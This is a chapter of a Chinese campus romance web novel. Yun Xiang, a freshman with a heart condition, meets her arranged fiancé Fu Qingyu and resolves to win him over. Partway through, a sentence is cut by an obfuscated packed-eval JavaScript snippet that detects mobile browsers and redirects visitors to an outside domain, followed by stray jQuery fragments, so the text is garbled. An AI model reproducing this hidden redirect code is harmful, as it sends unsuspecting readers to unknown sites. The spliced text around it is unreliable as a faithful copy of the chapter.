【我要追他!】——仙女日记
玻璃罩忽然被撤开,所有的声音一并涌入,由模糊变得清晰。
“同学?同学?”刚刚还在查阅花名册的男生不知什么时候抬起了头正在看她,指了指她的手腕,“你的手环在响。”
云想脸色一红,急促的收回视线,慌忙用手捂住嗡嗡震动的手环,“不好意思,是、是闹钟。”
说完,云想脸色更红,直接将手环解了下来,震动声才停止。
男生没再看她,将手上的花名册分了一半出来,递给一旁的傅青予,“予哥,你找这一半吧。叫——”
“——我叫云想。”她急急开口,“云朵的云,想念的想。”
“嗯对。”被抢了台词的男生顿了一下,看了眼迫切注视着傅青予的女孩,又重复了一遍她的话,“她叫云想。”
傅青予没什么语气地“嗯”了声,目光落在那沓名单上,全程没再分给她一个眼神。
云想仔细观察着傅青予的表情,没有任何波澜,似乎对于云想这个名字甚至她这个人都没有任何反应。
或许,傅青予还不知道联姻对象的信息。
又或许,他是知道的。
只不过对于这桩联姻并不关心,所以对于云想这个人也毫无印象。
自从高三毕业的暑假,父亲告诉云想要和傅家联姻的消息之后,她就一直处于紧张期待又兴奋的状态。
对云家来说,和傅氏这样的顶级财团联姻,无疑是抱上了京海市最粗的金大腿。
对云想来说,这更像是天降彩票一样惊喜。
毕竟,在豪门家族中,没有比自己的暗恋对象正好是自己的联姻对象更好的消息了。
于是,和傅青予见面变成了云想整个暑假最期待的事情。
接连几次,和傅家的饭局邀约被各种理由一推再推,她和傅青予的见面竟也拖到了现在。
在这样一个并不正式的场合。
对比傅青予的平淡反应,现在的云想只觉得自己像个跳梁小丑。
她懊恼地低下头,无意识捏紧了手环的带子,对刚刚的冒失和无礼迟来的感到后悔。
云想,你真没出息。
肩膀忽然被人勾住,向后带了下,云想的思绪猛然被拽回,听见了易茯苓的声音,“想什么呢,这么专注。”
云想还未回答,面前递来一张表,傅青予的手指停在她名字那栏,“签字。”
云想拿起桌上的笔,规规整整地签上了自己的名字,将表格递回去,“签好了,谢谢。”
眼镜男生将花名册重新规整好,指了下帐篷架子上挂着的二维码,“加一下你们班群就可以走了。”
云想扫完码就离开了,全程没敢再看傅青予一眼。
等两人走远,蒋东才凑到傅青予旁边,竖了个大拇指,小声说:“予哥,你真厉害!刚刚那学妹就看了你一眼就心跳爆表了!”
没得到回应,以为傅青予不信,蒋东继续喋喋不休:“真的!刚刚我都看到她手环上心跳过速的警告了,她还说是闹钟。”
傅青予凉凉瞥了他一眼,“观察这么仔细?”
蒋东自觉将这当成傅青予的肯定,更来劲了,继续分享自己的小发现:“而且她一看就是有钱人家的,就她那个手环我表妹有个同牌子的,大几十万呢。”
傅青予淡淡嗤了声,“你学金融真是屈才了。”
蒋东挺起胸脯,颇有些骄傲,“那是!”
傅青予:“应该去当侦察兵。”
蒋东:“……”
报道完,还没走几步,易茯苓就在她耳边小声尖叫:“刚刚那个帅哥你认出来了吗?是傅青予唉!”
云想垂着头,像霜打的茄子,闷闷嗯了声。
易茯苓察觉云想的不对劲,当即警觉起来,“怎么了?是不是心脏不舒服?”
云想摇了摇头,“我刚刚一直盯着他看,很不礼貌。”而且还心率报警了,不仅不礼貌还有点丢人,她郁闷地叹了口气,“他对我印象一定很不好。”
“他?傅青予?”见云想点头,易茯苓松了口气,宽慰她:“我当什么呢,喜欢看帅哥是人之常情嘛,况且之后你俩也不一定会有什么交集,你就当欣赏上帝的艺术品了,别想太多。”
“不一样。”云想说:“他跟艺术品不一样。”
听着云想认真的口气,易茯苓歪了歪头,“哪不一样?”
云想停下脚步,用非常平静的语调说:“我想追他。”
易茯苓也停下来,从上到下扫视云想,抬手捏了捏她的脸,嘴里嘟嘟囔囔的,“没换人呀。”又摸了摸云想的额头,“也没发烧呀。”
“怎么回事呢?”易茯苓眉头轻蹙着,云想欲言又止看她又双手掏了掏耳朵,整个人站直,木着脸:“你再说一遍,我刚刚好像聋了。”
云想:“……我想追傅青予。”
易茯苓的眼睛缓缓睁大,“不是……我这前后离开了不过五分钟你就喜欢上了?这也太快了!”
“也不是……”这里面的弯弯绕绕像一团打结的线团,她解释不清楚,更不知道从哪解释,只好含糊道:“也不算快了。”
易茯苓思索了几秒,当即就拿出手机低头搜索着什么,云想好奇凑过去,“你干嘛呢?”
易茯苓:“我给你找找我担的帅照,你很快就能移情别恋!”
“茯苓。”云想有些无奈地制止她的动作,很郑重的说:“我是认真的。”
“我也是第一次喜欢人,”迎着易茯苓直勾勾看过来的目光,云想有些不好意思地抿了抿唇,“我知道追他是难了点,我不怕难,但我没什么追人的经验,茯苓,我记得你高中的时候不是还当过红娘吗?我想让你也帮帮我。”
红娘这称呼其实是有点虚有其名,她不过是无意中帮她认识的几个人牵了个线搭了个桥而已,能成的原因主要还是人家郎有情妾有意。
可傅青予不一样,迄今为止,追他的女生不计其数,没人成功过,简直是地狱级难度。
不过,地狱级难度又怎么样!
她的好闺蜜第一次春心萌动,管他地狱天堂,绝对不能这么算了!
“我帮你!”易茯苓昂着头,偏过脸,下巴朝云想扬了扬,目光如炬,颇有一副要大干一番的气势,“放心!咱这一中金牌红娘的名头可不是盖的!”
回去的时候陈茉并不在,到晚上的时候她才回来。
门一打开,外面的热气卷进来和室内空调制出的冷风撞在一起,陈茉还是穿着白天时的那身长衣长袖,额角上的发丝都已经被汗打湿。
易茯苓已经躺到了床上,云想坐在靠近门边的椅子上,见陈茉进来,从桌上抽了张纸巾递给她,“擦一下汗吧。室内室外温差大,容易受风。”
陈茉顿了一秒,这次没有拒绝,接下那张纸巾说了声谢谢。
“对了,陈茉,今天电费是云想交的,我们四个人,一人A25就行。”易茯苓说。
“要不建个宿舍群吧?以后缴费或者联系也方便一点。”云想提议道。
“好啊好啊!”
陈茉没有反驳,云想便说:“那我来建吧。”
“陈茉,我加一下你微信吧,把你拉进群。”她边说边要调出手机二维码,陈茉拿出一个摔得有些四分五裂看起来很旧的手机说:“我没有添加陌生人的习惯,扫群码就行了。”
易茯苓小声嘟囔:“一个宿舍的也不算陌生人吧。”
指尖的动作顿了下,云想心下明白陈茉这是拒绝好友
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942100|177397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
申请的意思,于是找出群二维码递给陈茉:“那扫这个吧。”
宿舍群有三个人,还有一个大四的学姐一直没有回来。
陈茉将钱转到了群里就拿着毛巾去了阳台。
宿舍有些安静,只剩空调运作的声音以及阳台上洗漱的哗哗声。
“我靠!”没过一会儿,头顶传来一声惊呼,“军训时间竟然定了!”
云想抬头看了眼床上哀嚎着打滚的人,“通知了吗?”
“我们班群里发了,时间定在9月12号,下周四。”
云想打开□□,发现今天刚加进去的金融班班群也发了一则军训通知。
易茯苓趴在床沿问她:“想想,你应该是免训吧?”
云想“啊”了声,“可能吧。”
阳台门忽然被拉开了,是陈茉进来了。
“应该要提前去辅导员那里报备一下。”易茯苓说:“真要去军训,你的身体肯定受不了。”
“你的身体怎么了?”一向寡言的陈茉竟然主动搭话,这让云想和易茯苓都感到有些惊讶。
这并不是什么秘密,云想解释道:“我有心脏病,没办法参加室外剧烈运动。”
陈茉的目光盯着她,眉心不易察觉地皱了下,“什么时候的事?”
云想说:“娘胎里带的。”
陈茉“哦”了声,没再说什么,拎着脸盆要去阳台。
那种怪异的感觉又在心头冒了出来。
“陈茉,”云想叫住她,“我们之前是不是见过?”
“没有。”陈茉头也不回地拉上了阳台门。
手机嗡嗡震动,是易茯苓发来的消息。
——茯苓:你们认识?你背着我在外面有别的女人了?
——白云朵朵飘:没有啦!就是觉得她很熟悉,有点像我小时候认识的一个人。
——茯苓:哼!
——白云朵朵飘:亲亲jpg
刚退出聊天框,微信页面跳出一个小红点——来自于父亲。
云项禹推过来一个名片,言简意赅地配了句话:傅青予的微信,好好聊。
——白云朵朵飘:好的父亲。
回完消息,她盯着那个名片上的灰蓝色天空头像看了好几秒,才点进去。
名称只是一个简单的大写字母Y。
验证消息一栏她做了个自我介绍。
——你好,我是云想,是云升集团云项禹的女儿。
她反复斟酌看了几遍,觉得信息指向性已经足够明显了。
但转念一想,傅青予会不会还不知道联姻的消息?
她几次弹出键盘,在验证消息页面删删减减,反复编辑的时候,手机忽然卡住了。
云想皱了皱眉,在页面上胡乱点了几下,依旧没有什么反应,正要关机重启的时候,卡死的页面动了。
验证消息发送成功?!!!
她瞪直了眼,盯着微信消息页面一动不动,仿佛一尊雕塑。
她刚刚误发了什么鬼东西来着?
她盯着已经恢复的微信页面,仿佛要将屏幕盯出一个洞来。
好半晌,她终于接受现实,抱着自己的脑袋埋在桌上,心如死灰,欲哭无泪。
完蛋了,傅青予一定觉得她是神经病。
-
晚上九点,傅青予刚从社团回到宿舍,手机上忽然蹦出一条好友申请。
头像是一朵白云,名字叫白云朵朵飘。
验证消息只有简短的一句话:
——我是未婚妻,加我>ω
谢嘉言洗漱完刚好从傅青予身边路过,见他一脸吃了苍蝇的表情,凑过去关心了句:“怎么了?”
傅青予摁灭手机,语气冷淡:“骚扰信息。”